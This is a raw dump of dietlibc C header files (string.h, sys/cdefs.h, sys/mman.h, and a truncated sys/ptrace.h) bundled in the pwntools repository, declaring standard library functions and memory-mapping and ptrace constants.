INT64_MAX #define UINT_FAST8_MAX UINT8_MAX #define UINT_FAST64_MAX UINT64_MAX #define INT_FAST16_MIN INTPTR_MIN #define INT_FAST16_MAX INTPTR_MAX #define UINT_FAST16_MAX UINTPTR_MAX #define INT_FAST32_MIN INTPTR_MIN #define INT_FAST32_MAX INTPTR_MAX #define UINT_FAST32_MAX UINTPTR_MAX #define SIG_ATOMIC_MAX ((int)(~0u << sizeof(int)*8-1)) #define SIG_ATOMIC_MIN ((int)((~0u << sizeof(int)*8-1)-1)) #ifndef WCHAR_MIN #define WCHAR_MIN ((int)(~0u << sizeof(int)*8-1)) #define WCHAR_MAX ((int)((~0u << sizeof(int)*8-1)-1)) #endif #define WINT_MIN 0 #define WINT_MAX (~(wint_t)0) #endif /* C++ && limit macros */ /* The ISO C99 standard specifies that in C++ implementations these should only be defined if explicitly requested. */ #if !defined __cplusplus || defined __STDC_CONSTANT_MACROS /* Signed. */ # define INT8_C(c) c # define INT16_C(c) c # define INT32_C(c) c # if __WORDSIZE == 64 # define INT64_C(c) c ## L # else # define INT64_C(c) c ## LL # endif /* Unsigned. */ # define UINT8_C(c) c # define UINT16_C(c) c # define UINT32_C(c) c ## U # if __WORDSIZE == 64 # define UINT64_C(c) c ## UL # else # define UINT64_C(c) c ## ULL # endif /* Maximal type. */ # if __WORDSIZE == 64 # define INTMAX_C(c) c ## L # define UINTMAX_C(c) c ## UL # else # define INTMAX_C(c) c ## LL # define UINTMAX_C(c) c ## ULL # endif #endif /* C++ && constant macros */ #if defined(__WINT_TYPE__) typedef __WINT_TYPE__ wint_t; #else typedef unsigned int wint_t; #endif __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/string.h000066400000000000000000000146751507273764500277620ustar00rootroot00000000000000#ifndef _STRING_H #define _STRING_H #include #include __BEGIN_DECLS __readmem__(2) __writemem__(1) char *strcpy(char* __restrict__ dest, const char* __restrict__ src) __THROW __nonnull((1,2)); __readmemsz__(2,4) __writememsz__(1,4) void *memccpy(void* __restrict__ dest, const void* __restrict__ src, int c, size_t n) __THROW __nonnull((1,2)); __readmemsz__(2,3) __writememsz__(1,3) void *memmove(void* dest, const void *src, size_t n) __THROW __nonnull((1,2)); __readmemsz__(1,3) __readmemsz__(2,3) int memccmp(const void* s1, const void* s2, int c, size_t n) __THROW __pure __nonnull((1,2)); __writememsz__(1,3) void* memset(void* s, int c, size_t n) __THROW __nonnull((1)); __readmemsz__(1,3) __readmemsz__(2,3) int memcmp(const void* s1, const void* s2, size_t n) __THROW __pure __nonnull((1,2)); __writememsz__(1,3) __readmemsz__(2,3) void* memcpy(void* __restrict__ dest, const void* __restrict__ src, size_t n) __THROW __nonnull((1,2)); __writememsz__(1,3) __readmem__(2) char *strncpy(char* __restrict__ dest, const char* __restrict__ src, size_t n) __THROW __nonnull((1,2)); __readmemsz__(1,3) __readmemsz__(2,3) int strncmp(const char* s1, const char* s2, size_t n) __THROW __pure __nonnull((1,2)); __writemem__(1) __readmem__(2) char *strcat(char* __restrict__ dest, const char* __restrict__ src) __THROW __nonnull((1,2)); __writememsz__(1,3) __readmem__(2) char *strncat(char* __restrict__ dest, const char* __restrict__ src, size_t n) __THROW __nonnull((1,2)); __readmem__(1) __readmem__(2) int strcmp(const char *s1, const char *s2) __THROW __pure __nonnull((1,2)); __readmem__(1) size_t strlen(const char *s) __THROW __pure __nonnull((1)); __readmemsz__(1,2) size_t strnlen(const char *s,size_t maxlen) __THROW __pure __nonnull((1)); #ifdef _GNU_SOURCE __readmem__(1) __readmem__(2) int strverscmp(const char* s1,const char* s2) __THROW __pure __nonnull((1,2)); #endif __readmem__(1) __readmem__(2) char *strstr(const char *haystack, const char *needle) __THROW __pure __nonnull((1,2)); __readmem__(1) char *strdup(const char *s) __THROW __attribute_malloc__ __nonnull((1)); __readmem__(1) char *strchr(const char *s, int c) __THROW __pure __nonnull((1)); __readmem__(1) char *strrchr(const char *s, int c) __THROW __pure __nonnull((1)); __readmem__(1) __readmem__(2) size_t strspn(const char *s, const char *_accept) __THROW __nonnull((1,2)); __readmem__(1) __readmem__(2) size_t strcspn(const char *s, const char *reject) __THROW __nonnull((1,2)); __readmem__(1) __readmem__(2) char *strpbrk(const char *s, const char *_accept) __THROW __nonnull((1,2)); __readmem__(1) __readmem__(2) char *strsep(char ** __restrict__ stringp, const char * __restrict__ delim) __THROW __nonnull((1,2)); __readmemsz__(1,3) void* memchr(const void *s, int c, size_t n) __THROW __pure __nonnull((1)); #ifdef _GNU_SOURCE __readmemsz__(1,3) void* memrchr(const void *s, int c, size_t n) __THROW __pure __nonnull((1)); #endif /* I would like to make this const, but Paul Jarc points out it has to * be char* :-( */ char *strerror(int errnum) __THROW __attribute_const__; /* work around b0rken GNU crapware like tar 1.13.19 */ #define strerror strerror __writememsz__(2,3) int strerror_r(int errnum,char* buf,size_t n) __THROW __attribute_dontuse__; #ifdef _GNU_SOURCE char *strsignal(int signum) __THROW __attribute_const__; __readmemsz__(1,2) __readmemsz__(3,4) void *memmem(const void *haystack, size_t haystacklen, const void *needle, size_t needlelen) __THROW __nonnull((1,3)); __writememsz__(1,3) __readmemsz__(2,3) void* mempcpy(void* __restrict__ dest,const void* __restrict__ src,size_t n) __THROW __nonnull((1,2)); __readmemsz__(1,2) char *strndup(const char *s,size_t n) __THROW __attribute_malloc__ __nonnull((1)); #define strdupa(s) ({ const char* tmp=s; size_t l=strlen(tmp)+1; char* x=alloca(l); memcpy(x,tmp,l); }) #define strndupa(s,n) ({ const char* tmp=s; const char* y=memchr(tmp,0,(n)); size_t l=y?y-tmp:n; char* x=alloca(l+1); x[l]=0; memcpy(x,tmp,l); }) #endif __readwritemem__(1) char *strtok(char * __restrict__ s, const char * __restrict__ delim) __THROW __nonnull((2)); __readwritemem__(1) char *strtok_r(char * __restrict__ s, const char * __restrict__ delim, char ** __restrict__ ptrptr) __THROW __nonnull((2,3)); __writememsz__(1,3) __readmemsz__(2,3) size_t strlcpy(char * __restrict__ dst, const char * __restrict__ src, size_t size) __THROW __nonnull((1,2)); __writememsz__(1,3) __readmem__(2) size_t strlcat(char * __restrict__ dst, const char * __restrict__ src, size_t size) __THROW __nonnull((1,2)); __readmem__(1) __readmem__(2) int strcoll(const char *s1, const char *s2) __THROW __nonnull((1,2)); __writememsz__(1,3) __readmemsz__(2,3) size_t strxfrm(char *dest, const char * __restrict__ src, size_t n) __THROW __nonnull((1,2)); #ifdef _BSD_SOURCE #include #endif __writemem__(1) __readmem__(2) char* stpcpy(char * __restrict__ dest, const char * __restrict__ src) __THROW __nonnull((1,2)); __writememsz__(1,3) __readmemsz__(2,3) char* stpncpy(char* __restrict__ dest, const char* __restrict__ src, size_t n) __THROW __nonnull((1,2)); #ifdef _GNU_SOURCE int ffsl(long i) __THROW __attribute_const__; int ffsll(long long i) __THROW __attribute_const__; #endif /* This is an OpenBSD extension that acts like bzero but is hopefully * not removed from by the compiler's dead store optimization pass. * It is meant for scrubbing crypto keys and passwords from memory after * use, so they don't show up in swap files or core dumps. */ __writememsz__(1,2) void explicit_bzero(void*, size_t) __THROW __dontinline__; /* More OpenBSD extensions. These are for comparing passwords and hashes * without leaking timing information on how long the common prefix was. * The comparison always compares all the bytes, even if there is a * mismatch early on. */ __readmemsz__(1,3) __readmemsz__(2,3) int timingsafe_memcmp(const void* s1, const void* s2, size_t n) __THROW __nonnull((1,2)) __dontinline__; __readmemsz__(1,3) __readmemsz__(2,3) int timingsafe_bcmp(const void* s1, const void* s2, size_t n) __THROW __nonnull((1,2)) __dontinline__; /* NetBSD has its own extension that is happened to be mentioned in the * Linux man page for memcmp, so we support it, too */ __readmemsz__(1,3) __readmemsz__(2,3) int consttime_memequal(void *b1, void *b2, size_t len) __THROW __nonnull((1,2)) __dontinline__; /* NetBSD also has its own extension for memset :-( */ __writememsz__(1,3) void* explicit_memset(void *b, int c, size_t len) __THROW __nonnull((1)) __dontinline__; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/000077500000000000000000000000001507273764500271045ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/cdefs.h000066400000000000000000000114731507273764500303470ustar00rootroot00000000000000#ifndef _SYS_CDEFS_H #define _SYS_CDEFS_H #ifndef __has_attribute #define __has_attribute(foo) 0 #endif #ifndef __cplusplus #define __THROW #define __BEGIN_DECLS #define __END_DECLS #else #define __THROW throw () #define __BEGIN_DECLS extern "C" { #define __END_DECLS } #endif #ifndef __GNUC__ #define __attribute__(xyz) #define __extension__ #endif #if (__GNUC__ > 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ >= 6)) #define __leaf , __leaf__ #else #define __leaf #endif #if defined(__clang__) && __has_attribute(leaf) #undef __leaf #define __leaf #endif #if !defined(__cplusplus) && ((__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3))) #undef __THROW #define __THROW __attribute__((__nothrow__ __leaf)) #define __THROWNL __attribute__((__nothrow__)) #endif #ifndef __THROWNL #define __THROWNL __THROW #endif #if (__GNUC__ > 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ >= 96)) #define __pure __attribute__ ((__pure__)) #else #define __pure #endif #if (__GNUC__ == 2) && (__GNUC_MINOR__ < 95) #define __restrict__ #endif #ifndef __STRICT_ANSI__ #define restrict __restrict__ #if __GNUC__ < 3 #define __builtin_expect(foo,bar) (foo) #define __expect(foo,bar) (foo) #define __malloc__ #else #define __expect(foo,bar) __builtin_expect((long)(foo),bar) #define __attribute_malloc__ __attribute__((__malloc__)) #endif #endif /* idea for these macros taken from Linux kernel */ #define __likely(foo) __expect((foo),1) #define __unlikely(foo) __expect((foo),0) #ifndef __attribute_malloc__ #define __attribute_malloc__ #endif #define __P(x) x #define __ptr_t void* #if defined(__STRICT_ANSI__) && __STDC_VERSION__ + 0 < 199900L #define inline #endif #ifndef __i386__ #define __regparm__(x) #endif #if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 2)) #define __attribute_dontuse__ __attribute__((__deprecated__)) #else #define __attribute_dontuse__ #define __deprecated__ #endif #if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) # define __nonnull(params) __attribute__ ((__nonnull__ params)) #else # define __nonnull(params) #endif #if (__GNUC__ > 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 4)) # define __attribute_used __attribute__ ((__used__)) #else # define __attribute_used # define __warn_unused_result__ #endif #if (__GNUC__ >= 4) #define __needsNULL__(x) __sentinel__(x) #else #define __needsNULL__(x) #define __sentinel__ #endif #if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 3)) # define __cold__ # define __hot__ #endif #if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 3)) #define __attribute_alloc__(x) #define __attribute_alloc2__(x,y) #else #define __attribute_alloc__(x) __attribute__((alloc_size(x))) #define __attribute_alloc2__(x,y) __attribute__((alloc_size(x,y))) #endif #if (__GNUC__ < 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ < 5)) #define __attribute_const__ #else #define __attribute_const__ __attribute__((const)) #endif #if (__GNUC__ < 2) || ((__GNUC__ == 2) && (__GNUC_MINOR__ < 8)) #define __attribute_formatarg__(x) #else #define __attribute_formatarg__(x) __attribute__((format_arg(x))) #endif #if (__GNUC__ < 3) || ((__GNUC__ == 3) && (__GNUC_MINOR__ < 1)) #define __dontinline__ #else #define __dontinline__ __attribute__((noinline)) #endif #if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 6)) #define __hidden__ #else #define __hidden__ __attribute__((visibility("hidden"))) #endif #if (__GNUC__ < 10) #define __readmem__(argno_ptr) #define __readmemsz__(argno_ptr, argno_size) #define __writemem__(argno_ptr) #define __writememsz__(argno_ptr, argno_size) #define __readwritemem__(argno_ptr) #define __readwritememsz__(argno_ptr, argno_size) #else #define __readmem__(argno_ptr) __attribute__((access(read_only, argno_ptr))) #define __readmemsz__(argno_ptr, argno_size) __attribute__((access(read_only, argno_ptr, argno_size))) #define __writemem__(argno_ptr) __attribute__((access(write_only, argno_ptr))) #define __writememsz__(argno_ptr, argno_size) __attribute__((access(write_only, argno_ptr, argno_size))) #define __readwritemem__(argno_ptr) __attribute__((access(read_write, argno_ptr))) #define __readwritememsz__(argno_ptr, argno_size) __attribute__((access(read_write, argno_ptr, argno_size))) #endif #if (__GNUC__ < 4) || ((__GNUC__ == 4) && (__GNUC_MINOR__ < 3)) #define __warn(message) #define __error(message) #else #define __warn(message) __attribute__((warning(message))) #define __error(message) __attribute__((error(message))) #endif #if __has_attribute(diagnose_if) #define __condwarn(condition, message) diagnose_if(condition, message, "warning") #define __conderr(condition, message) diagnose_if(condition, message, "error") #else #define __condwarn(condition, message) #define __conderr(condition, message) #endif #if __has_attribute(enable_if) #endif #if __has_attribute(callback) #define __callback(...) callback(__VA_ARGS__) #else #define __callback(...) #endif #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/fsuid.h000066400000000000000000000003651507273764500303730ustar00rootroot00000000000000#ifndef __FSUID_H #define __FSUID_H 1 #include __BEGIN_DECLS /* Linux only: */ int setfsuid(uid_t uid); int setfsgid(gid_t gid); int setfsuid32(uid32_t fsuid) __THROW; int setfsgid32(gid32_t fsgid) __THROW; __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/mman.h000066400000000000000000000310531507273764500302070ustar00rootroot00000000000000#ifndef _SYS_MMAN_H #define _SYS_MMAN_H #include #include #include __BEGIN_DECLS #define MREMAP_MAYMOVE 1UL #define MREMAP_FIXED 2UL #define PROT_READ 0x1 /* page can be read */ #define PROT_WRITE 0x2 /* page can be written */ #define PROT_EXEC 0x4 /* page can be executed */ #define PROT_SEM 0x8 /* page may be used for atomic ops */ #define PROT_NONE 0x0 /* page can not be accessed */ #define PROT_GROWSDOWN 0x01000000 /* mprotect flag: extend change to start of growsdown vma */ #define PROT_GROWSUP 0x02000000 /* mprotect flag: extend change to end of growsdown vma */ #define MAP_SHARED 0x01 /* Share changes */ #define MAP_PRIVATE 0x02 /* Changes are private */ #define MAP_TYPE 0xf /* Mask for type of mapping */ #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 /* for mlock2 */ #if defined(__mips__) #define MAP_FIXED 0x010 /* Interpret addr exactly */ #define MAP_NORESERVE 0x0400 /* don't check for reservations */ #define MAP_ANONYMOUS 0x0800 /* don't use a file */ #define MAP_GROWSDOWN 0x1000 /* stack-like segment */ #define MAP_DENYWRITE 0x2000 /* ETXTBSY */ #define MAP_EXECUTABLE 0x4000 /* mark it as an executable */ #define MAP_LOCKED 0x8000 /* pages are locked */ #define MAP_POPULATE 0x10000 #define MAP_NONBLOCK 0x20000 #define MAP_STACK 0x40000 #define MAP_HUGETLB 0x80000 #define MS_ASYNC 0x0001 /* sync memory asynchronously */ #define MS_INVALIDATE 0x0002 /* invalidate mappings & caches */ #define MS_SYNC 0x0004 /* synchronous memory sync */ #define MCL_CURRENT 1 /* lock all current mappings */ #define MCL_FUTURE 2 /* lock all future mappings */ #define MCL_ONFAULT 4 /* lock all pages that are faulted in */ #define MADV_NORMAL 0x0 /* default page-in behavior */ #define MADV_RANDOM 0x1 /* page-in minimum required */ #define MADV_SEQUENTIAL 0x2 /* read-ahead aggressively */ #define MADV_WILLNEED 0x3 /* pre-fault pages */ #define MADV_DONTNEED 0x4 /* discard these pages */ #elif defined(__alpha__) #define MAP_FIXED 0x100 /* Interpret addr exactly */ #define MAP_ANONYMOUS 0x10 /* don't use a file */ #define MAP_GROWSDOWN 0x1000 /* stack-like segment */ #define MAP_DENYWRITE 0x2000 /* ETXTBSY */ #define MAP_EXECUTABLE 0x4000 /* mark it as an executable */ #define MAP_LOCKED 0x8000 /* lock the mapping */ #define MAP_NORESERVE 0x10000 /* don't check for reservations */ #define MAP_POPULATE 0x20000 #define MAP_NONBLOCK 0x40000 #define MAP_STACK 0x80000 #define MAP_HUGETLB 0x100000 #define MS_ASYNC 1 /* sync memory asynchronously */ #define MS_SYNC 2 /* synchronous memory sync */ #define MS_INVALIDATE 4 /* invalidate the caches */ #define MCL_CURRENT 8192 /* lock all currently mapped pages */ #define MCL_FUTURE 16384 /* lock all additions to address space */ #define MCL_ONFAULT 32768 /* lock all pages that are faulted in */ #define MADV_NORMAL 0 /* no further special treatment */ #define MADV_RANDOM 1 /* expect random page references */ #define MADV_SEQUENTIAL 2 /* expect sequential page references */ #define MADV_WILLNEED 3 /* will need these pages */ #define MADV_SPACEAVAIL 5 /* ensure resources are available */ #define MADV_DONTNEED 6 /* dont need these pages */ #elif defined(__i386__) || defined(__s390__) || defined(__x86_64__) || defined(__arm__) #define MAP_FIXED 0x10 /* Interpret addr exactly */ #define MAP_ANONYMOUS 0x20 /* don't use a file */ #define MAP_GROWSDOWN 0x0100 /* stack-like segment */ #define MAP_DENYWRITE 0x0800 /* ETXTBSY */ #define MAP_EXECUTABLE 0x1000 /* mark it as an executable */ #define MAP_LOCKED 0x2000 /* pages are locked */ #define MAP_NORESERVE 0x4000 /* don't check for reservations */ #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 /* sync memory asynchronously */ #define MS_INVALIDATE 2 /* invalidate the caches */ #define MS_SYNC 4 /* synchronous memory sync */ #define MCL_CURRENT 1 /* lock all current mappings */ #define MCL_FUTURE 2 /* lock all future mappings */ #define MCL_ONFAULT 4 /* lock all pages that are faulted in */ #define MADV_NORMAL 0x0 /* default page-in behavior */ #define MADV_RANDOM 0x1 /* page-in minimum required */ #define MADV_SEQUENTIAL 0x2 /* read-ahead aggressively */ #define MADV_WILLNEED 0x3 /* pre-fault pages */ #define MADV_DONTNEED 0x4 /* discard these pages */ #elif defined(__sparc__) || defined (__powerpc__) || defined (__powerpc64__) #define MAP_FIXED 0x10 /* Interpret addr exactly */ #define MAP_ANONYMOUS 0x20 /* don't use a file */ #define MAP_RENAME MAP_ANONYMOUS /* In SunOS terminology */ #define MAP_NORESERVE 0x40 /* don't reserve swap pages */ #define MAP_INHERIT 0x80 /* SunOS doesn't do this, but... */ #define MAP_LOCKED 0x100 /* lock the mapping */ #define _MAP_NEW 0x80000000 /* Binary compatibility is fun... */ #define MAP_GROWSDOWN 0x0100 /* stack-like segment */ #define MAP_DENYWRITE 0x0800 /* ETXTBSY */ #define MAP_EXECUTABLE 0x1000 /* mark it as an executable */ #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 /* sync memory asynchronously */ #define MS_INVALIDATE 2 /* invalidate the caches */ #define MS_SYNC 4 /* synchronous memory sync */ #define MCL_CURRENT 0x2000 /* lock all currently mapped pages */ #define MCL_FUTURE 0x4000 /* lock all additions to address space */ #define MCL_ONFAULT 0x8000 /* lock all pages that are fauled in */ #define MADV_NORMAL 0x0 /* default page-in behavior */ #define MADV_RANDOM 0x1 /* page-in minimum required */ #define MADV_SEQUENTIAL 0x2 /* read-ahead aggressively */ #define MADV_WILLNEED 0x3 /* pre-fault pages */ #define MADV_DONTNEED 0x4 /* discard these pages */ #define MADV_FREE 0x5 /* (Solaris) contents can be freed */ #elif defined(__aarch64__) #define MAP_FIXED 0x10 /* Interpret addr exactly */ #define MAP_ANONYMOUS 0x20 /* don't use a file */ #define MAP_GROWSDOWN 0x00100 /* Stack-like segment. */ #define MAP_DENYWRITE 0x00800 /* ETXTBSY */ #define MAP_EXECUTABLE 0x01000 /* Mark it as an executable. */ #define MAP_LOCKED 0x02000 /* Lock the mapping. */ #define MAP_NORESERVE 0x04000 /* Don't check for reservations. */ #define MAP_POPULATE 0x08000 /* Populate (prefault) pagetables. */ #define MAP_NONBLOCK 0x10000 /* Do not block on IO. */ #define MAP_STACK 0x20000 /* Allocation is for a stack. */ #define MAP_HUGETLB 0x40000 /* Create huge page mapping. */ #define MS_ASYNC 1 /* sync memory asynchronously */ #define MS_INVALIDATE 2 /* invalidate the caches */ #define MS_SYNC 4 /* synchronous memory sync */ #define MCL_CURRENT 1 /* lock all currently mapped pages */ #define MCL_FUTURE 2 /* lock all additions to address space */ #define MCL_ONFAULT 4 /* lock all pages that are faulted in */ #define MADV_NORMAL 0 /* No further special treatment. */ #define MADV_RANDOM 1 /* Expect random page references. */ #define MADV_SEQUENTIAL 2 /* Expect sequential page references. */ #define MADV_WILLNEED 3 /* Will need these pages. */ #define MADV_DONTNEED 4 /* Don't need these pages. */ #define MADV_REMOVE 9 /* Remove these pages and resources. */ #define MADV_DONTFORK 10 /* Do not inherit across fork. */ #define MADV_DOFORK 11 /* Do inherit across fork. */ #define MADV_MERGEABLE 12 /* KSM may merge identical pages. */ #define MADV_UNMERGEABLE 13 /* KSM may not merge identical pages. */ #define MADV_HUGEPAGE 14 /* Worth backing with hugepages. */ #define MADV_NOHUGEPAGE 15 /* Not worth backing with hugepages. */ #define MADV_DONTDUMP 16 /* Explicity exclude from the core dump, overrides the coredump filter bits. */ #define MADV_DODUMP 17 /* Clear the MADV_DONTDUMP flag. */ #define MADV_HWPOISON 100 /* Poison a page for testing. */ #elif defined(__hppa__) #undef MAP_TYPE #define MAP_TYPE 0x03 /* Mask for type of mapping */ #define MAP_FIXED 0x04 /* Interpret addr exactly */ #define MAP_ANONYMOUS 0x10 /* don't use a file */ #define MAP_DENYWRITE 0x0800 /* ETXTBSY */ #define MAP_EXECUTABLE 0x1000 /* mark it as an executable */ #define MAP_LOCKED 0x2000 /* pages are locked */ #define MAP_NORESERVE 0x4000 /* don't check for reservations */ #define MAP_GROWSDOWN 0x8000 /* stack-like segment */ #define MAP_POPULATE 0x10000 #define MAP_NONBLOCK 0x20000 #define MAP_STACK 0x40000 #define MAP_HUGETLB 0x80000 #define MS_SYNC 1 /* synchronous memory sync */ #define MS_ASYNC 2 /* sync memory asynchronously */ #define MS_INVALIDATE 4 /* invalidate the caches */ #define MCL_CURRENT 1 /* lock all current mappings */ #define MCL_FUTURE 2 #define MCL_ONFAULT 4 /* lock all pages that are faulted in */ #define MADV_NORMAL 0 /* no further special treatment */ #define MADV_RANDOM 1 /* expect random page references */ #define MADV_SEQUENTIAL 2 /* expect sequential page references */ #define MADV_WILLNEED 3 /* will need these pages */ #define MADV_DONTNEED 4 /* don't need these pages */ #define MADV_SPACEAVAIL 5 /* insure that resources are reserved */ #define MADV_VPS_PURGE 6 /* Purge pages from VM page cache */ #define MADV_VPS_INHERIT 7 /* Inherit parents page size */ #define MADV_4K_PAGES 12 /* Use 4K pages */ #define MADV_16K_PAGES 14 /* Use 16K pages */ #define MADV_64K_PAGES 16 /* Use 64K pages */ #define MADV_256K_PAGES 18 /* Use 256K pages */ #define MADV_1M_PAGES 20 /* Use 1 Megabyte pages */ #define MADV_4M_PAGES 22 /* Use 4 Megabyte pages */ #define MADV_16M_PAGES 24 /* Use 16 Megabyte pages */ #define MADV_64M_PAGES 26 /* Use 64 Megabyte pages */ #undef MADV_MERGEABLE #undef MADV_UNMERGEABLE #undef MADV_HUGEPAGE #undef MADV_NOHUGEPAGE #undef MADV_DONTDUMP #undef MADV_DODUMP #define MADV_MERGEABLE 65 #define MADV_UNMERGEABLE 66 #define MADV_HUGEPAGE 67 #define MADV_NOHUGEPAGE 68 #define MADV_DONTDUMP 69 #define MADV_DODUMP 70 #elif defined(__ia64__) #define MAP_FIXED 0x10 /* Interpret addr exactly */ #define MAP_ANONYMOUS 0x20 /* don't use a file */ #define MAP_GROWSDOWN 0x0100 /* stack-like segment */ #define MAP_GROWSUP 0x0200 /* register stack-like segment */ #define MAP_DENYWRITE 0x0800 /* ETXTBSY */ #define MAP_EXECUTABLE 0x1000 /* mark it as an executable */ #define MAP_LOCKED 0x2000 /* pages are locked */ #define MAP_NORESERVE 0x4000 /* don't check for reservations */ #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 /* sync memory asynchronously */ #define MS_INVALIDATE 2 /* invalidate the caches */ #define MS_SYNC 4 /* synchronous memory sync */ #define MADV_NORMAL 0x0 /* default page-in behavior */ #define MADV_RANDOM 0x1 /* page-in minimum required */ #define MADV_SEQUENTIAL 0x2 /* read-ahead aggressively */ #define MADV_WILLNEED 0x3 /* pre-fault pages */ #define MADV_DONTNEED 0x4 /* discard these pages */ #endif /* compatibility flags */ #define MAP_ANON MAP_ANONYMOUS #define MAP_FILE 0 #define MAP_FAILED ((void *) -1) __attribute__((__warn_unused_result__)) extern void *mmap (void *__addr, size_t __len, int __prot, int __flags, int __fd, off_t __offset); extern int munmap (void *__addr, size_t __len) __THROW; extern int mprotect (void *__addr, size_t __len, int __prot) __THROW; extern int msync (void *__addr, size_t __len, int __flags) __THROW; __attribute__((__warn_unused_result__)) extern void *mremap (void *__addr, size_t __old_len, size_t __new_len, unsigned long __may_move) __THROW; extern int mincore (void *__start, size_t __len, unsigned char *__vec); __attribute__((__warn_unused_result__)) extern void *mmap64 (void *__addr, size_t __len, int __prot, int __flags, int __fd, off64_t __offset) __THROW; #ifndef __NO_STAT64 #if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 #define mmap(a,b,c,d,e,f) mmap64(a,b,c,d,e,f) #endif #endif __attribute__((__warn_unused_result__)) int mlockall(int flags) __THROW; __attribute__((__warn_unused_result__)) int mlock(const void *addr, size_t len) __THROW; int munlock(const void *addr, size_t len) __THROW; int munlockall(void) __THROW; __attribute__((__warn_unused_result__)) int mlock2(const void *addr, size_t len, int flags) __THROW; int madvise(void *start, size_t length, int advice) __THROW; #define POSIX_MADV_NORMAL MADV_NORMAL #define POSIX_MADV_SEQUENTIAL MADV_SEQUENTIAL #define POSIX_MADV_RANDOM MADV_RANDOM #define POSIX_MADV_WILLNEED MADV_WILLNEED #define POSIX_MADV_DONTNEED MADV_DONTNEED #define posix_madvise(addr,len,advice) madvise(addr,len,advice) __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/sys/ptrace.h000066400000000000000000000561531507273764500305450ustar00rootroot00000000000000#ifndef _SYS_PTRACE_H #define _SYS_PTRACE_H #include #include __BEGIN_DECLS #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER PTRACE_PEEKUSR #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER PTRACE_POKEUSR #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 /* 0x4200-0x4300 are reserved for architecture-independent additions. */ /* #define PTRACE_SETOPTIONS 0x4200 */ #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 /* options set using PTRACE_SETOPTIONS */ #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f /* Wait extended result codes for the above trace options. */ #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME PTRACE_TRACEME #define PT_READ_I PTRACE_PEEKTEXT #define PT_READ_D PTRACE_PEEKDATA #define PT_READ_U PTRACE_PEEKUSER #define PT_WRITE_I PTRACE_POKETEXT #define PT_WRITE_D PTRACE_POKEDATA #define PT_WRITE_U PTRACE_POKEUSER #define PT_CONTINUE PTRACE_CONT #define PT_KILL PTRACE_KILL #define PT_STEP PTRACE_SINGLESTEP #define PT_GETREGS PTRACE_GETREGS #define PT_SETREGS PTRACE_SETREGS #define PT_GETFPREGS PTRACE_GETFPREGS #define PT_SETFPREGS PTRACE_SETFPREGS #define PT_ATTACH PTRACE_ATTACH #define PT_DETACH PTRACE_DETACH #if defined(__i386__) #define EBX 0 #define ECX 1 #define EDX 2 #define ESI 3 #define EDI 4 #define EBP 5 #define EAX 6 #define DS 7 #define ES 8 #define FS 9 #define GS 10 #define ORIG_EAX 11 #define EIP 12 #define CS 13 #define EFL 14 #define UESP 15 #define SS 16 #define FRAME_SIZE 17 /* this struct defines the way the registers are stored on the stack during a system call. */ struct pt_regs { long ebx; long ecx; long edx; long esi; long edi; long ebp; long eax; int32_t xds; int32_t xes; long orig_eax; long eip; int32_t xcs; long eflags; long esp; int32_t xss; }; /* Arbitrarily choose the same ptrace numbers as used by the Sparc code. */ #define PTRACE_GETREGS 12 #define PTRACE_SETREGS 13 #define PTRACE_GETFPREGS 14 #define 